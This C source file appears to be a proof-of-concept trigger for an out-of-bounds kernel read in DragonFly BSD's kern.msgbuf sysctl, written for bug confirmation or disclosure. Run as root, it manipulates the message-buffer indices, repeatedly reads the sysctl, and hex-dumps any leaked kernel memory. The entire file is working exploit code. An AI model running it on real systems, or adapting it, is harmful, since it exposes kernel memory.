/* DF-0035 — DECISIVE trigger for the OOB read in sysctl_kern_msgbuf branch 3.
 *
 * The 3rd branch (sys/kern/subr_prf.c:1183) fires only when
 * xindex_modulo == 0 (i.e. msg_bufx is an exact multiple of msg_size) AND
 * rindex_modulo > xindex_modulo.  The buggy length it passes to
 * sysctl_handle_opaque is (n - rindex_modulo); this underflows (u_int) when
 * rindex_modulo > n, which the geometry permits only if msg_bufr is "stale"
 * at a value where msg_bufr % msg_size > msg_size/2.  That staleness is
 * produced by kern.msgbuf_clear=1 (root-only) which sets msg_bufr := msg_bufx.
 *
 * This program:
 *   - Pushes msg_bufx forward so its modulo is > msg_size/2.
 *   - Calls kern.msgbuf_clear=1 (msg_bufr := msg_bufx).
 *   - Drives msg_bufx ONE byte at a time, doing a big-oldlen sysctl read
 *     after each byte, until msg_bufx reaches the next msg_size boundary.
 *   - Reports any read that returns MORE bytes than msg_size (the decisive
 *     underflow signature) and hex-dumps the OOB tail.
 *
 * Build (DragonFly, root):  cc -O2 -o msgbuf_trigger msgbuf_trigger.c -lkvm
 * Run (root):               ./msgbuf_trigger
 */
#include <sys/types.h>
#include <sys/msgbuf.h>
#include <sys/sysctl.h>
#include <fcntl.h>
#include <kvm.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <nlist.h>

static struct nlist nl[] = { { .n_name = "msgbufp" }, { .n_name = NULL } };
static kvm_t *kd;
static struct msgbuf *mbp_ptr;

static void kvm_init(void) {
	kd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, "kvm");
	if (!kd) { perror("kvm_openfiles"); exit(1); }
	if (kvm_nlist(kd, nl) != 0 || nl[0].n_value == 0) { fprintf(stderr,"nlist fail\n"); exit(1); }
	if (kvm_read(kd, nl[0].n_value, &mbp_ptr, sizeof(mbp_ptr)) != sizeof(mbp_ptr)) { fprintf(stderr,"kv rp\n"); exit(1);}
}
static struct msgbuf read_mb(void) {
	struct msgbuf mb;
	if (kvm_read(kd, (unsigned long)mbp_ptr, &mb, sizeof(mb)) != sizeof(mb)) { fprintf(stderr,"kv rb\n"); exit(1);}
	return mb;
}
static void drive_log(unsigned long n) {
	int fd = open("/dev/console", O_WRONLY);
	if (fd < 0) { perror("open /dev/console"); exit(1); }
	char buf[4096];
	memset(buf, 'D', sizeof(buf));
	unsigned long done = 0;
	while (done < n) {
		size_t chunk = n - done;
		if (chunk > sizeof(buf)) chunk = sizeof(buf);
		ssize_t w = write(fd, buf, chunk);
		if (w <= 0) break;
		done += w;
	}
	close(fd);
}
/* Write exactly one byte to /dev/console -> one msgaddchar -> msg_bufx++. */
static void drive_one(void) {
	int fd = open("/dev/console", O_WRONLY);
	if (fd < 0) { perror("open"); exit(1); }
	char c = 'D';
	ssize_t w = write(fd, &c, 1);
	if (w != 1) { perror("write1"); }
	close(fd);
}
static void clear_msgbuf(void) {
	int v = 1;
	if (sysctlbyname("kern.msgbuf_clear", NULL, NULL, &v, sizeof(v)) != 0) {
		perror("sysctl msgbuf_clear"); exit(1);
	}
}

int main(void) {
	kvm_init();
	struct msgbuf mb = read_mb();
	u_int msg_size = mb.msg_size;
	printf("msg_size = %u (msg_size/2 = %u)\n", msg_size, msg_size/2);
	printf("start: bufx=%u bufr=%u (Vm_bufx=%u)\n",
	    mb.msg_bufx, mb.msg_bufr, mb.msg_bufx % msg_size);

	/* Step 1: push msg_bufx to a value whose modulo is > msg_size/2. */
	u_int want_vm = msg_size/2 + 100000;
	u_int cur_vm  = mb.msg_bufx % msg_size;
	if (cur_vm <= want_vm) {
		unsigned long need = (want_vm - cur_vm) + 4;
		printf("step1: driving msg_bufx +%lu bytes so Vm > %u ...\n", need, want_vm);
		drive_log(need);
	}
	mb = read_mb();
	printf("       now bufx=%u (Vm=%u)\n", mb.msg_bufx, mb.msg_bufx % msg_size);

	/* Step 2: clear so msg_bufr := msg_bufx, i.e. rindex_modulo = Vm > msg_size/2. */
	printf("step2: kern.msgbuf_clear=1\n");
	clear_msgbuf();
	mb = read_mb();
	u_int Vm = mb.msg_bufr % msg_size;
	printf("       after clear: bufx=%u bufr=%u (Vm=%u, %s msg_size/2)\n",
	    mb.msg_bufx, mb.msg_bufr, Vm, (Vm > msg_size/2) ? "ABOVE" : "BELOW");
	if (Vm <= msg_size/2) {
		fprintf(stderr, "FAIL: Vm=%u not > msg_size/2=%u; cannot demo underflow\n",
		    Vm, msg_size/2);
		return 3;
	}

	/* Step 3: drive msg_bufx in big chunks to within ~256 bytes of the next
	 * msg_size boundary, then ONE byte at a time, doing a sysctl read after
	 * every single byte.  When msg_bufx hits the boundary (xindex_modulo=0),
	 * branch 3 fires with the underflow. */
	u_int dist = msg_size - (mb.msg_bufx % msg_size);
	printf("step3: dist to boundary = %u bytes; approaching with 1-byte steps\n", dist);
	if (dist > 256) {
		drive_log(dist - 256);
		dist = 256;
	}

	size_t oldlen = 1U << 21;  /* 2 MiB */
	char *rbuf = malloc(oldlen);
	if (!rbuf) { perror("malloc"); exit(1); }

	unsigned long reads = 0, hits = 0;
	u_int prev_vm = (read_mb().msg_bufx) % msg_size;
	for (u_int i = 0; i <= dist + 4; i++) {
		drive_one();
		/* do several sysctl reads while msg_bufx is at this value */
		for (int k = 0; k < 4; k++) {
			size_t l = oldlen;
			memset(rbuf, 0x5a, oldlen);
			if (sysctlbyname("kern.msgbuf", rbuf, &l, NULL, 0) != 0) continue;
			reads++;
			if (l > msg_size + 16) {
				hits++;
				size_t bad = 0;
				for (size_t j = 0; j < l; j++) {
					unsigned char c = (unsigned char)rbuf[j];
					if (c != '\n' && c != '\t' && (c < 0x20 || c > 0x7e)) bad++;
				}
				printf("[!] OOB HIT #%lu: read=%zu bytes (>msg_size=%u), "
				    "%zu non-text bytes\n", hits, l, msg_size, bad);
				/* hexdump the boundary region: from msg_size-32 onwards */
				printf("    bytes [msg_size-32 .. msg_size+96]:\n    ");
				size_t start = (msg_size > 32) ? msg_size - 32 : 0;
				for (size_t j = start; j < start + 128 && j < l; j++) {
					printf("%02x", (unsigned char)rbuf[j]);
					if (((j - start + 1) % 32) == 0) printf("\n    ");
					else if (((j - start + 1) % 8) == 0) printf(" ");
				}
				printf("\n");
				if (hits >= 2) goto done;
			}
		}
		struct msgbuf cur = read_mb();
		u_int cur_vm2 = cur.msg_bufx % msg_size;
		if (cur_vm2 < prev_vm) {
			printf("    [crossed boundary at iter %u: bufx=%u, Vm %u -> %u]\n",
			    i, cur.msg_bufx, prev_vm, cur_vm2);
		}
		prev_vm = cur_vm2;
	}
done:
	printf("step4: %lu sysctl reads, %lu OOB hits\n", reads, hits);
	mb = read_mb();
	printf("final: bufx=%u (Vm=%u) bufr=%u (Vm=%u)\n",
	    mb.msg_bufx, mb.msg_bufx % msg_size, mb.msg_bufr, mb.msg_bufr % msg_size);
	free(rbuf);
	kvm_close(kd);
	return hits ? 0 : 2;
}
